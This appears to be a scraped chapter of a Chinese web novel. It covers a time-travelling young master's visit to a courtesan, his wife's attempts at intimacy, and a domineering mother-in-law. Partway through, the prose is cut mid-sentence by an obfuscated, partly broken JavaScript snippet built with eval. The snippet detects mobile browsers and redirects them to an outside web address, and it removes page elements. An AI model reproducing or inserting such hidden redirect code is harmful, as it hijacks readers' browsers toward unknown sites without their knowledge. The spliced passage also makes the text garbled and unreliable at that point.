李傲雪乖巧地点点头,温柔叮嘱:“少爷,路上慢点。”待肖晨的身影消失在门口,她才暗暗松了口气,庆幸自己没让他看到正在做的暴露睡衣。她瞥了眼那件尚未完工的睡衣,脸颊微微泛红,想着等做好了,找个合适的时机再给他一个惊喜。随后,她重新专注于手中的针线活,一针一线,都缝进了她对肖晨满满的爱意与期待。 肖晨离开家门后,在市集精心挑选了些礼物,而后径直朝着河边走去。他来到停靠在岸边的一艘精致画舫前,从袖中掏出一锭银子,递给一旁等候的侍从,语气平和却带着不容拒绝:“带我去拜访丁香姑娘。” 侍从接过银子,脸上立刻堆满笑容,恭敬地引着肖晨登上画舫。此时,画舫内正热闹非凡,丁香一袭素色长裙,端坐在琴案前,玉指轻拨琴弦,灵动的音符如潺潺流水般倾泻而出,在座的客人们皆沉浸在这美妙的琴音之中。 肖晨在侍从引领下,悄然来到一旁落座,静静聆听着丁香的弹奏,目光在她身上若有所思地停留。 丁香在弹奏间不经意抬眸,目光触及肖晨的那一刻,眼中瞬间闪过惊喜与雀跃。她盼着他来听自己抚琴,已盼了许久,此刻如愿,手下的琴音也越发欢快灵动,似在诉说着满心的欢喜。 一曲终了,余音袅袅。肖晨不由自主地鼓起了掌,真诚赞叹道:“真好听。丁香姑娘琴艺精湛,这一曲如天籁之音,令我沉醉其中。” 丁香微微欠身,脸颊泛起一抹红晕,轻声说道:“多谢公子夸赞,能得公子欣赏,是丁香之荣幸。”她的目光羞涩地落在肖晨身上,似有千言万语藏在眼底。周围的客人也纷纷附和着对丁香琴艺的称赞,然而在这热闹之中,丁香眼中却只看得见肖晨一人。 肖晨笑着起身,走上前,将手中准备好的礼物递向丁香,说道:“听闻姑娘琴艺卓绝,一直想来拜访,今日终偿所愿。这小小礼物,不成敬意,还望姑娘笑纳。” 丁香略带羞涩地接过礼物,轻启朱唇:“公子如此破费,丁香实在过意不去。”她示意身旁丫鬟将礼物收下,又道:“不知公子可还有想听的曲目,丁香愿再为公子弹奏。” 肖晨思索片刻,说道:“那就劳烦姑娘来一曲《高山流水》吧。”丁香点头,调整了一下坐姿,便开始弹奏。那婉转悠扬的琴音再次响起,仿佛真的将巍峨高山与潺潺流水展现在众人面前。肖晨静静聆听,沉浸在这美妙的琴音中,脸上满是陶醉之色。 待一曲弹罢,肖晨不禁感慨:“姑娘琴音,将这知音难觅的意境展现得淋漓尽致,实在令人钦佩。”丁香微笑着回应:“公子谬赞了,弹琴不过是丁香聊以慰藉的方式,能得公子喜爱,也是丁香的福气。” 两人正说着,一旁的客人中有人认出了肖晨,低声议论起来:“这不是肖家少爷吗?听闻他刚成亲不久,怎么今日来这画舫听曲。”“是啊,虽说丁香姑娘琴艺无双,但肖少爷此举,恐怕会惹得家中夫人不快吧。”这些议论声虽不大,但还是隐隐传进了肖晨和丁香的耳中。 丁香微微皱眉,眼中闪过一丝担忧,看向肖晨:“公子,若是因为丁香,让您陷入流言蜚语之中,丁香实在过意不去。”肖晨却神色坦然,摆了摆手:“无妨,我不过是单纯欣赏姑娘的琴艺,清者自清。”然而,心中却也不禁泛起一丝涟漪,想到家中的李傲雪,不知她若听闻此事,会作何感想…… 他又想自己不过和丁香是知己,又没做出什么见不得人的事情,何必在意旁人的议论。想到这里,他神色自若地开口说到:“姑娘你有这么好的手艺,琴艺如此超凡脱俗,不如我把你的样子画下来如何?也算是将这美妙时刻留存。” 丁香微微一怔,脸颊瞬间飞起两朵红晕。她垂眸思索片刻,心中既有些羞涩,又难掩欣喜,毕竟能被心仪之人作画留存,是件极为浪漫之事。犹豫片刻后,她轻轻点头,声若蚊蝇:“若公子不嫌丁香貌丑,愿为公子作模特。” 肖晨微微一笑,吩咐侍从取来笔墨纸砚。他摆好画具,目光专注地凝视着丁香,试图将她的神韵一丝一毫地刻入心底。丁香微微侧身,端庄而优雅地坐着,微微低垂的眼眸、挺直的鼻梁、红润的嘴唇,在摇曳的烛光下,勾勒出一幅绝美的画面。 肖晨手中的画笔轻轻落下,在宣纸上缓缓游走。随着笔尖移动,丁香的轮廓渐渐在纸上浮现。他时而微微皱眉,仔细斟酌线条的走势;时而嘴角上扬,似乎对笔下的画作颇为满意。周围的喧嚣仿佛都已远去,此刻,他的眼中只有丁香和眼前这张宣纸。 不知过了多久,一幅栩栩如生的画像逐渐成形。肖晨搁下笔,轻轻吹了吹未干的墨迹,微笑着看向丁香:“姑娘,你看这画可还满意?” 丁香轻轻起身,款步走到肖晨身旁,目光落在那幅画像上。只见画上的自己,眉眼含情,神韵皆备,仿佛要从画中走出来一般。她不禁微微红了眼眶,轻声说道:“公子画技高超,丁香从未见过如此神形兼备的画像,实在……实在太喜欢了。” 肖晨看着丁香感动的模样,心中也满是欢喜:“姑娘喜欢便好,这画像也算是我对姑娘琴艺的一份敬意。”这时,一旁的侍从轻声提醒:“少爷,时候不早了,该回府了。” 肖晨这才回过神,意识到天色已晚。他心中虽还有些不舍,但想到家中的李傲雪,还是决定告辞。他看向丁香,说道:“今日聆听姑娘妙音,又为姑娘作画,实在是畅快。只是时候不早,我得回府了,改日若有机会,定再来聆听姑娘雅奏。” 丁香微微颔首,眼中闪过一丝落寞,但很快又恢复笑容:“公子事务繁忙,今日能来,丁香已深感荣幸,盼公子下次再来。” 肖晨带着侍从匆匆回到府中。刚进家门,便看到李傲雪正站在庭院中,神色有些焦急。看到肖晨回来,她快步迎上前:“少爷,你可算回来了,这么晚,是去了何处?” 肖晨心中一紧,犹豫片刻后,还是决定坦诚相告:“我去了河边画舫,听一位叫丁香的姑娘弹琴。她琴艺精湛,我一时沉醉,便回来晚了。” 李傲雪微微一愣,眼中闪过一丝复杂的神色,但很快又恢复平静,轻声说道:“少爷喜欢便好,只是下次,还望少爷早些回来,也好让我放心。” 肖晨看着李傲雪,心中有些愧疚:“是我疏忽了,让你担心。以后定会注意。”李傲雪微微一笑,说道:“少爷累了吧,我已让厨房备好了饭菜,快去吃些。”两人一同向屋内走去。 肖晨和李傲雪回到屋内,肖晨看着李傲雪,眼中满是关切:“你身体还没调养好,怎么就下床了?可别累着自己。” 李傲雪温柔地笑了笑,轻声说道:“不碍事的,少爷,我已经恢复了一些。这段日子,也冷落了少爷。要是少爷想……也是可以的。”说罢,她微微低下头,脸颊泛起一抹羞涩的红晕。 肖晨赶忙握住她的手,神情认真:“傲雪,你的身体才是最重要的。我在意的是你的健康,这些事不急。你先好好调养,莫要再为我操心。” 李傲雪抬眸,眼中闪烁着感动,轻轻靠在肖晨肩头:“少爷,能得你这般关怀,傲雪真的很幸福。”肖晨轻轻拍了拍她的背,说道:“傻姑娘,我们是夫妻,本就该相互关心。你快坐下,别站着了。”说着,扶着李傲雪坐到椅子上,又为她倒了杯热茶,屋内弥漫着温馨而宁静的气息。 她轻轻推开肖晨递来茶杯的手,脸上带着温婉的笑意,说道:“少爷我来就好,你赶快吃饭吧,要不菜都凉了。” 肖晨看着她,关切地问道:“那你吃了没有?要是没有吃就一起吃吧。” 李傲雪微微摇头,轻声说道:“我还没吃呢,本想着等少爷回来一起。” 肖晨闻言,笑着拉她在身旁坐下,说道:“那就好,咱们一起吃。今日在外面,还真有些想念你做的饭菜。”说罢,他拿起筷子,夹了一筷子菜放入李傲雪碗中,“你也多吃点,好好补补身体。” 李傲雪看着碗里的菜,心中满是暖意,也夹了菜给肖晨,“少爷也多吃,忙碌了一天,可要吃饱。” 饭桌上,两人你来我往,温馨的氛围愈发浓郁。肖晨看着李傲雪,心中不禁泛起一阵愧疚。今日去见丁香,虽说自认为问心无愧,只是纯粹欣赏琴艺,但毕竟让李傲雪担忧了。 他放下碗筷,认真地看着李傲雪:“傲雪,今日之事,是我考虑不周,没有顾及到你的感受,让你担心了,你别往心里去。” 李傲雪微微一怔,随后展颜一笑,眼中带着理解与温柔:“少爷言重了,我知道少爷不是那种风流之人,只是欣赏那姑娘的琴艺罢了。而且少爷坦诚相告,这是对我的信任,我怎会怪罪。” 肖晨握住李傲雪的手,语气诚恳:“傲雪,你如此善解人意,更让我觉得自己做得不好。以后我定会多注意,不让你再有丝毫不安。” 李傲雪轻轻点头,反握住肖晨的手:“少爷,夫妻之间贵在信任,我信你。只是,日后若再去,提前告知我一声,也好让我心里有底。” 肖晨连忙应道:“一定一定。你放心,以后不会再让你为这种事操心。”说完,他重新拿起碗筷,往李傲雪碗里又夹了些菜,“快吃,菜都快凉了。” 两人继续用餐,偶尔聊起一些家中琐事,气氛轻松愉悦。用过饭后,丫鬟进来收拾了碗筷。李傲雪起身,准备去沏壶茶,肖晨赶忙拦住她:“你身体刚好些,这些事让丫鬟来做,你坐下歇着。” 李傲雪笑着依言坐下,看着肖晨指挥丫鬟做事的模样,心中满是甜蜜。不一会儿,丫鬟沏好了茶,轻轻放在桌上。肖晨亲自为李傲雪倒了一杯,递到她手中:“尝尝,看看合不合口味。” 李傲雪接过茶杯,轻抿一口,笑着说道:“嗯,很好喝,少爷有心了。” 肖晨体贴地说道:“要是在这屋里闷,你可以叫玉溪来陪你,你们两个感情那么好,有个人也陪你说说话。” 李傲雪微笑着回应:“少爷,玉溪有自己的活要做,不能总因为我耽误她做事。而且我做衣服时,她在这里也不方便,万一打扰到她,或是让她分神做错了事,反倒不好。” 肖晨听她这么说,心中愈发觉得李傲雪懂事,点头道:“你总是这般体谅他人。那要是觉得无聊,你也可出府去走走,只要带几个侍从护着你便好。” 李傲雪轻轻摇头:“出府太过麻烦,况且外面人多嘈杂,我还是更喜欢待在府中,安静地做些自己喜欢的事。少爷不必为我忧心,我在府里也能过得自在。” 肖晨拉起她的手,目光温柔:“我只是担心你一个人会孤单。若你喜欢在府中,那我让人在花园里再添些你喜欢的花草,你平日里也能多去赏玩。” 李傲雪眼中闪过惊喜:“真的吗?少爷,那太好了。我一直想着花园要是能再多些蔷薇花就好了,它们开花时香气扑鼻,十分好看。” 肖晨宠溺地笑道:“这有何难,明日我就吩咐下去,让人尽快去办。往后你若还有其他想要的,只管告诉我。”李傲雪满心欢喜,轻轻靠在肖晨肩头:“多谢少爷,能与少爷相伴,傲雪别无所求。” 肖晨慢慢放开她,语气带着些疲惫:“都累了一天了,我们快点休息吧。” 李傲雪轻声应道:“那我先去换衣服。” 肖晨没多想,开始动手脱自己的衣服。 李傲雪走到衣柜前,拿出那件精心准备的暴露睡衣。她的心砰砰直跳,脸颊绯红,深吸一口气后,竟当着肖晨的面换了起来。她满心羞涩,却又带着一丝决然,心底想着,想让他看清楚自己的一切,想更亲近彼此。 肖晨不经意间抬眼,瞥见李傲雪的举动,顿时愣住,脸上迅速染上一抹红晕,下意识地想要别过头,却又仿佛被钉住般,目光有些不知所措。屋内的空气仿佛瞬间凝固,弥漫着一种别样的紧张与暧昧。 李傲雪换好睡衣,微微低着头,不敢直视肖晨的眼睛,声音轻得如同蚊蝇:“少爷……” 肖晨喉咙微微一动,好不容易找回自己的声音:“傲雪,你……”话到嘴边,却又不知该如何说下去,气氛变得愈发旖旎而微妙。 李傲雪身材若隐若现,在暖黄灯光的映照下,宛如一幅朦胧的画卷,一切都显得恰到好处。她微微仰头,带着一丝羞怯与期待,对肖晨说道:“少爷,我穿起来怎么样?” 肖晨喉咙发干,艰难地咽了咽口水,不由自主地说道:“你穿起来很诱人。”话一出口,他心中暗暗警醒自己,努力镇定下来,暗自思忖:“自己在现代,见过的女孩子多了,身体都一样,可不能这般失态。”然而,尽管心里这般想着,他的目光却还是忍不住在李傲雪身上流连,面上的红晕也未曾消退。 李傲雪见肖晨如此反应,心中既欢喜又羞涩,她缓缓走到肖晨身边,声音如同喃喃细语:“少爷,我……我想与你更亲近些。”肖晨只感觉自己的心跳如擂鼓,他伸出手,轻轻握住李傲雪的手,努力让自己的声音平稳:“傲雪,你如此……让我怎能不动心。” 她双颊绯红,带着几分娇憨与渴望,轻轻搂着他的脖子,微微踮起脚尖。肖晨瞬间意识到她的意图,心猛地一跳,忙不迭开口,声音带着一丝慌乱与掩饰:“我们快点睡吧,今天着实累坏了。” 李傲雪眼中闪过一丝失落,但很快又被温柔取代。她轻轻“嗯”了一声,松开搂着他脖子的手,乖巧地走到床边,轻轻掀开被子躺了进去。肖晨深吸一口气,努力平复着内心的波澜,也跟着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993186|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上了床。 躺在床上,肖晨望着床顶的帷幔,脑海里却不断回放着刚才李傲雪的模样,心跳依旧有些快。李傲雪侧身面向他,在黑暗中,她的眼睛闪烁着微光,轻声说:“少爷,能这样和你一起,真好。”肖晨转过头,与她对视,轻声回应:“嗯,睡吧,明天又是新的一天。”说完,他轻轻握住李傲雪的手,像是在给予她安抚,也像是在给自己力量,渐渐地,两人在静谧中,伴着彼此的呼吸声,慢慢进入梦乡。 第二天清晨,阳光透过窗棂,轻柔地洒在屋内。肖晨与李傲雪悠悠转醒,因着李傲雪尚在调养身子,丫鬟们依照惯例,鱼贯而入,准备伺候二人洗漱。 当丫鬟们的目光触及李傲雪的穿着时,一个个瞬间涨红了脸。她们怎么也想不到,平日里端庄贤淑的少夫人,竟会身着如此别样的睡衣。那睡衣的款式,相较于平日的保守,实在是大胆许多。 李傲雪见丫鬟们脸红,先是一愣,顺着她们的视线看向自己,这才反应过来。她微微赧然,却也没过多在意。毕竟,这是她与肖晨之间的小秘密。 她若无其事地吩咐丫鬟伺候自己穿衣洗漱,一心沉浸在新一天的开始中,并未察觉到丫鬟们神色中那隐隐的异样。丫鬟们则赶忙收敛神情,依照吩咐,有条不紊地为李傲雪和肖晨打理着晨起诸事,屋内一时间只余洗漱用具碰撞的细碎声响。 洗漱完毕后,肖晨需要读书,便匆匆离去。李傲雪看着他离去的背影,心中满是眷恋。稍作整理后,她决定去花园逛逛,顺便看看之前肖晨说要增添的蔷薇花有没有送来。 当她漫步在花园小径上时,正巧遇到了玉溪。玉溪见到李傲雪,先是福了一礼,目光不经意间扫到李傲雪的裙摆,想起今早看到少夫人穿着的睡衣,脸颊又微微泛红。 李傲雪并未注意到玉溪的异样,笑着说道:“玉溪,你来得正好,我正想找人说说话。你可知少爷吩咐添的蔷薇花可有消息了?” 玉溪定了定神,回答道:“回少夫人,听说已经派人去寻了,想必过不了几日就能送到府中。” 李傲雪听了,眼中满是期待:“那就好,等蔷薇花来了,这花园定会更加好看。对了,你最近手头的活儿忙不忙?要是不忙,陪我在这花园里走走吧。” 玉溪连忙应道:“不忙的,少夫人。能陪少夫人散步,是我的荣幸。” 两人沿着花园小径缓缓前行,一路上李傲雪与玉溪分享着自己对花园布置的想法,还说着一些家中趣事。可玉溪却有些心不在焉,她实在难以将平日里端庄的少夫人与今早看到的形象联系起来,心里像揣了只小兔子般,七上八下的。 李傲雪察觉到玉溪的异样,停下脚步,关切地问道:“玉溪,你是不是有什么心事?怎么看起来心不在焉的,要是有难处,尽管跟我说。” 玉溪心中一惊,赶忙摇头:“少夫人,我没有心事,只是……只是今早看到少夫人的睡衣,一时有些诧异,还望少夫人恕罪。” 李傲雪这才明白过来,脸上也泛起红晕,但还是大方地说道:“无妨,那睡衣是我特意准备的,你也不必放在心上。以后若是有这种事,莫要多想便是。” 玉溪感激地看着李傲雪:“多谢少夫人宽宏大量,我以后不会再如此失态了。” 玉溪脸上带着一抹狡黠的笑意,凑近李傲雪,轻声打趣道:“少夫人,那你穿着那样的衣服,公子晚上就没舍得放开你?” 李傲雪顿时羞红了脸,轻啐一口:“你呀,净问些让人难以启齿的话。”她微微低下头,双手不自觉地揪着衣角,犹豫片刻后说道:“他……他并没有太多的欲望。”声音小得如同蚊蚋,满是女儿家的羞涩与尴尬。 玉溪眨了眨眼睛,脸上露出一丝疑惑,却又不好再多追问,只是笑着安抚:“少夫人别害羞,或许公子是心疼您身子尚未完全调养好呢。公子向来体贴,定是不愿因一时之事累着您。” 李傲雪微微点头,神色间虽还有些赧然,但也觉得玉溪说得在理:“嗯,少爷他确实一直对我关怀备至,想来是顾虑这个。”话虽如此,可心中还是难免泛起一丝难以言说的复杂情绪,既有对肖晨体贴的感动,又隐隐有些失落。 玉溪一脸艳羡地说道:“真羡慕少夫人有公子这样的夫君,咱们公子年纪轻轻,没想到还这么疼人。” 李傲雪轻轻叹了口气,眼中闪过一丝忧虑:“少爷确实是个好人,只是我们现在新婚没多久,往后日子还长着呢,我有时候忍不住想,要是日子久了,他会不会爱上别人……” 玉溪赶忙握住李傲雪的手,认真地说道:“少夫人可别这么想!公子对您的心意,府里上下都看在眼里。就说昨日,公子还惦记着给您在花园添您喜欢的蔷薇花呢。而且公子向来品性纯良,断不会做出那等负心之事。少夫人与公子如此恩爱,定能长长久久的。” 李傲雪听了玉溪的话,心中稍感宽慰,勉强笑了笑:“但愿如你所说吧。我与少爷情投意合,自然盼着能携手一生。只是这世间人心易变,难免让我有些患得患失。” 玉溪拍了拍李傲雪的手,坚定地说:“少夫人只管放宽心。平日里多与公子说些贴心话,把您的心意都告诉他。公子知道了您的担忧,定会更加珍惜少夫人的。再说了,少夫人这般温柔贤淑,又与公子情比金坚,旁人哪能轻易插足。” 李傲雪微微点头,深吸一口气:“嗯,你说得对,是我想得太多了。我该多些信任给少爷。有你在我身边开解我,真好。” 两人继续在花园中漫步,阳光暖暖地照着,仿佛也驱散了李傲雪心中那一丝阴霾,让她对与肖晨的未来,又多了几分坚定与期许。 肖母踱步至花园,瞧见李傲雪正悠闲地走动,便抬手示意周围众人退下。待四下无人,她靠近李傲雪,目光中透着关切与一丝急切,轻声问道:“你穿着那些睡衣效果怎么样?” 李傲雪顿时羞得满脸通红,头不自觉地低了下去,嗫嚅着说道:“母亲,如今我还在调养身子,少爷还没有碰我……”声音细微,仿佛一阵风就能将其吹散,满是女儿家在长辈面前谈论此事的窘迫。 肖母微微皱眉,眼神中闪过一丝忧虑,但很快又恢复了温和。她轻轻握住李傲雪的手,语重心长地说道:“孩子,我知道你身子还未痊愈,可这夫妻之事,有时候也是增进感情的关键。你也别太心急,等身子好些,再找机会好好与晨儿相处。但也得主动些,莫要错过了增进感情的时机。” 李傲雪微微点头,轻声应道:“是,母亲,我明白您的意思。只是此事……我实在有些难以启齿。” 肖母拍了拍李傲雪的手,安慰道:“傻孩子,这有什么难以启齿的。你们既是夫妻,有些事自然要好好经营。等你身子调养好,寻个恰当的时机,把你的心意传达给晨儿,相信他会明白的。” 李傲雪红着脸,再次点头:“多谢母亲教诲,傲雪记住了。” 肖母心中暗自腹诽,觉得李傲雪中看不中用,不过是身子娇弱些,竟连自己男人都伺候不好,还整日说着调养。这般想着,她脸色微微一沉,开口道:“这老爷在外面忙着生意,家里上下就我和你在操持。如今你也恢复了些,往后我让你做什么,都不许告诉你家少爷。我可不想听他跑来跟我告状。” 李傲雪心中一惊,抬眸看向肖母,眼中满是委屈与不解,但还是赶忙应道:“母亲放心,傲雪明白,傲雪定不会跟少爷说的。” 肖母满意地点点头,目光在李傲雪身上打量一番,继续说道:“这家里的事繁杂,我年纪大了,很多事力不从心。你既已嫁入肖家,就得担起少夫人的责任。从明日起,你就跟着我学着操持家务,别整日只知道调养身子。” 李傲雪心中虽有几分担忧自己的身体是否能承受,但又不敢违抗肖母的命令,只得轻声答道:“是,母亲,傲雪会努力学着做的。” 肖母微微眯起眼睛,似是在审视李傲雪的态度,片刻后说道:“记住你今日说的话,别到时候敷衍了事。这肖家的规矩,你可得好好遵守。”说完,她转身缓缓离去,留下李傲雪一人呆立在原地,心中五味杂陈,不知等待自己的将会是怎样的日子。 26. 他被掰弯了,爱上了她 肖晨结束了一天的课业,便带着阿成径直来到自家的店铺。刚一进门,掌柜的满脸堆笑,快步迎了上来,激动地说道:“少爷,您上次想的办法实在是太好了!自打推出男女试穿衣服的法子,外面的人蜂拥而至,都开始来咱们店里订做衣服,这生意比之前红火了好几倍呢!” 肖晨嘴角微微上扬,露出欣慰的笑容:“哦?看来效果还不错。大家都喜欢这种方式,说明咱们的思路是对的。”说着,他迈步在店内巡视起来,只见店里顾客盈门,伙计们忙得不可开交,柜台上摆满了各式各样的订单。 掌柜的紧跟在肖晨身后,继续汇报道:“少爷,还有不少客人说,咱们店里的款式新颖,试穿之后更能确定合不合身,所以都愿意在咱们这儿做衣裳。现在布料都快不够用了,我正打算这几日再多进些货呢。” 肖晨停下脚步,思索片刻后说道:“进货的事你安排好就行,一定要保证布料的品质。另外,让伙计们多留意顾客的反馈,看看大家还有什么新的需求,咱们也好及时调整款式。” “是,少爷,您放心,我都记下了。”掌柜的连忙点头应道。 肖晨又叮嘱了几句,便转身准备离开。临出门时,他对掌柜的说道:“这段时间大家都辛苦了,等月底结算,给伙计们多发些赏钱,好好犒劳一下大家。” 掌柜的感激涕零:“多谢少爷体恤,我一定把您的话带到,伙计们知道了,肯定更有干劲儿!”肖晨笑着点点头,带着阿成离开了店铺,心中思索着如何让生意更上一层楼。 林羽在熙攘的街道上远远瞧见肖晨,赶忙加快脚步迎上前去,热情洋溢地招呼道:“肖兄,这是出来散心嘛?” 肖晨微笑着回应:“嗯,也没什么特别事儿,就随便出来看看。” 林羽眼睛一转,脸上浮现出一抹狡黠的笑意,凑近肖晨说道:“既然如此,不如我们去找点乐子吧?” 肖晨微微皱眉,心中已然猜到几分,试探着问道:“不会又去那种烟花之地吧?” 林羽哈哈一笑,拍了拍肖晨的肩膀:“肖兄果然了解我。不过嘛,那地方多热闹有趣啊,有美酒佳人相伴,还能听听小曲儿,放松放松身心。” 肖晨连忙摆手,正色道:“林兄,我可没这兴致。我家中已有娇妻,况且那种地方,虽说能解一时之乐,却非长久之计,于名声也有损。” 林羽撇了撇嘴,不以为然道:“肖兄也太拘谨了,偶尔去一次,只要不声张,又有何妨?再说了,咱们年轻,不趁着这时候好好玩乐一番,等老了可就没机会了。” 肖晨坚定地摇摇头:“林兄,每个人想法不同。我还是觉得,珍惜眼前人,好好经营家庭才是正理。你若想去,我就不奉陪了。”说完,便准备告辞离开。 林羽见状,赶忙拉住肖晨:“得得得,肖兄不愿去,我不强求便是。那你说,咱们找点儿什么别的乐子?” 肖晨思索片刻后提议道:“既然如此,我们可以去书店看看书,沉浸在墨香之中,倒也惬意;或者骑马去郊外溜溜,感受下大自然的风光,如何?” 林羽满脸无奈地摆摆手,嫌弃道:“哎呀,那些太无聊了,看书多枯燥,骑马跑来跑去有什么意思,哪有热闹来得痛快。”他眼珠一转,嘴角勾起一抹促狭的笑,“肖兄,你上次跟丁香姑娘不是那么投缘嘛,今日就不想去看她吗?” 肖晨心中一紧,想起家中的李傲雪,眉头微皱道:“林兄,休要再提此事。我与丁香姑娘不过是知音之交,欣赏她的琴艺罢了。我既已成婚,自当与妻子举案齐眉,怎能随意去见其他女子,以免傲雪心生不快。” 林羽不以为然地挑挑眉:“肖兄,你也太把家中夫人放在心上了吧。不过见个面,听个曲儿,又不会怎样。再说了,男人嘛,在外应酬交际,逢场作戏也属正常,你不必如此谨小慎微。” 肖晨严肃地看向林羽:“林兄,此言差矣。夫妻之间贵在忠诚,我既已与傲雪结为连理,便要对她负责。况且,我对傲雪是真心相待,怎能做出让她伤心之事。你日后也莫要再提此类建议。” 林羽见肖晨如此坚决,自知再劝无用,只好作罢:“好好好,算我多嘴。那依肖兄之见,咱们到底去做些什么?总不能就这么在街上闲逛吧。” 肖晨思索片刻,目光望向不远处热闹的集市,说道:“集市那边人来人往,极为热闹。听闻近日来了不少杂耍班子和民间艺人,不如我们去凑凑热闹,说不定能发现些有趣玩意儿。” 林羽眼睛一亮,脸上露出些许期待:“这个主意倒不错,走走走,去看看。”两人并肩朝着集市走去,周围人群熙熙攘攘,各种叫卖声、谈笑声交织在一起。 刚走进集市,便看到一个杂耍摊位,一位艺人正将手中的飞刀精准地掷向木板,引得围观人群阵阵喝彩。林羽看得目不转睛,兴奋地鼓掌叫好。肖晨也饶有兴致地观看着,感受着这热闹非凡的市井气息。 穿过杂耍摊位,他们又瞧见一个卖字画的小摊。肖晨停下脚步,俯身仔细端详起一幅幅字画。摊主热情地介绍着每一幅画的来历和特点,林羽却显得兴致缺缺,在一旁不停地催促:“肖兄,这些字画有什么好看的,咱们再去别处转转。” 肖晨直起身,笑着说道:“林兄莫急,偶尔欣赏欣赏字画,也能陶冶情操。”话虽如此,他还是跟着林羽继续前行。 没走多远,一阵悠扬的笛声传来。两人顺着声音寻去,只见一位老者正坐在街边吹奏笛子,身旁放着一个竹篮,里面装着一些自制的小竹笛售卖。肖晨被这笛声吸引,驻足聆听,林羽则好奇地拿起竹篮里的竹笛摆弄着。 待老者一曲吹罢,肖晨走上前夸赞道:“老人家,您这笛音悠扬婉转,实在动听。”老者笑着点头致谢。肖晨又询问了竹笛的制作工艺,与老者交谈甚欢。林羽在一旁等得不耐烦,扯了扯肖晨的衣袖:“肖兄,差不多行了,咱们赶紧去别处看看吧。” 肖晨只好向老者告辞,与林羽继续在集市中闲逛。不知不觉,天色渐晚,集市上的人群也渐渐散去。林羽意犹未尽地说道:“今日在集市逛了一圈,倒也有趣,不枉此行。”肖晨微笑着点头:“是啊,市井之中,藏着许多乐趣,只要用心去发现。”两人带着满足的笑容,踏上了归途。 两人告辞后,肖晨独自走着,脑海里突然浮现出李傲雪的面容,想着她这段时间调养身子,便寻思着买点护肤品给她。毕竟自己在现代一直习惯素颜,可这古代的护肤用品他还真不太了解。 于是,他转头问身旁的阿成:“阿成,你知道这买女子用的东西在哪里吗?” 阿成微微一愣,随即反应过来,恭敬地回答道:“少爷,若是买女子用的护肤品,前街有几家香粉铺子,里面的东西颇为齐全,夫人小姐们常去那儿采买。” 肖晨点点头,说道:“那咱们去看看。”主仆二人很快来到前街,只见一家店铺门口,摆放着各种精致的瓶瓶罐罐,招牌上写着“雅芳斋香粉铺”。 肖晨迈进店内,一股淡雅的香气扑面而来。掌柜的见有客人,立刻笑脸相迎:“公子,您要点什么?小店的香粉、胭脂、面脂都是上等货色。” 肖晨有些不知所措,环顾四周,问道:“掌柜的,我想买些适合夫人调养身子时用的护肤品,你这儿可有推荐?” 掌柜的眼睛一亮,连忙说道:“公子真是体贴。夫人调养身子,皮肤易干燥,可用咱们店的珍珠玉容膏,这膏子用珍珠粉、蜂蜜等物调制而成,能滋养肌肤,使皮肤细腻光滑。还有这玫瑰露,洗脸后拍在脸上,清香宜人,也有养颜的功效。” 肖晨听着掌柜的介绍,觉得都不错,便说道:“每样都给我包一些。”掌柜的喜笑颜开,赶忙动手包装。不一会儿,便将几样东西包好递给肖晨。肖晨付了钱,带着东西满意地离开了香粉铺,心中想着李傲雪收到这些时惊喜的模样,脚步也轻快了许多。 肖母瞧着天色渐暗,儿子却还不见踪影,便吩咐丫鬟去唤李傲雪过来。不多时,李傲雪匆匆赶来,规规矩矩地行了礼。肖母抬眼打量她一番,问道:“饭菜都备好了吗?”李傲雪赶忙应道:“儿媳都备好了,母亲。” 肖母微微点头,语气里难得带出一丝认可:“还算你勤快。”紧接着,她眉头一皱,不耐烦地说道:“你还站在那里干嘛,还不快过来给我倒茶,捶背。” 李傲雪不敢迟疑,连忙走到桌旁,熟练地拿起茶壶,为肖母斟了一盏茶,双手递上:“母亲,请用茶。”随后,她轻轻走到肖母身后,伸出双手,开始为肖母捶背,手法轻重适中。 肖母抿了口茶,微微眯起眼睛,享受着李傲雪的伺候,嘴里却依旧念叨着:“这男人在外忙事业,咱们女人在家,就得把家里打理好,让他们无后顾之忧。你既要照顾好晨儿,也要多分担些家里的事儿,别总让人操心。” 李傲雪一边认真捶背,一边轻声回应:“是,母亲教诲得是,儿媳定当努力操持好家中诸事,不让母亲和少爷操心。” 肖母半眯着眼,感受着李傲雪不轻不重的捶背力度,心里暗自思忖:这媳妇调教着就是舒坦,可算是知道拿捏她的法子了。自己可得趁着这机会好好过过瘾。 想到这儿,她又睁开眼,斜睨了李傲雪一眼,在她心里,李傲雪至今没能伺候好儿子,没能让自己尽快抱上孙子,这就是李傲雪的错。于是,肖母冷哼一声,说道:“你虽说做了些事儿,但这伺候人的功夫,还得再练练。就说晨儿,他每日读书、操持生意,多辛苦,你可得多上心。” 李傲雪心里一阵委屈,却不敢表露分毫,赶忙应道:“是,母亲,儿媳日后一定更加用心伺候少爷。只是少爷体贴,见儿媳身子尚未大好,总不让我操劳。” 肖母不以为然,皱着眉道:“他体贴是他的事,你可不能就这么懈怠了。身子不好就好好调养,调养好了,就得尽到做妻子的本分,早日给我们肖家添个一儿半女,这才是正事。” 李傲雪脸颊绯红,低着头轻声道:“儿媳明白,定不负母亲期望。” 肖母这才满意地点点头,重新闭上眼睛,继续享受李傲雪的伺候,嘴里还时不时地吐出几句教导,李傲雪则只能默默听着,将委屈往肚里咽。 肖晨快至家门口时,扭头看向身旁的阿成,低声叮嘱道:“你到晚饭后再把礼物交给我,千万不要让老夫人看到。”他心中暗自思忖,母亲对傲雪的态度本就有些严苛,若是看到自己给傲雪买了护肤品,指不定又要生出什么事端,他实在不想因为这事闹得婆媳矛盾,徒增烦恼。 阿成心领神会,赶忙点头应道:“少爷放心,小的明白。等晚饭后,避开老夫人,小的就把东西给您送来。” 肖晨微微颔首,抬脚迈进家门。一进院子,便瞧见李傲雪正从肖母的房间出来,神色间带着几分疲惫与委屈。肖晨心中一紧,快步迎上去,轻声问道:“傲雪,怎么了?是不是母亲又为难你了?” 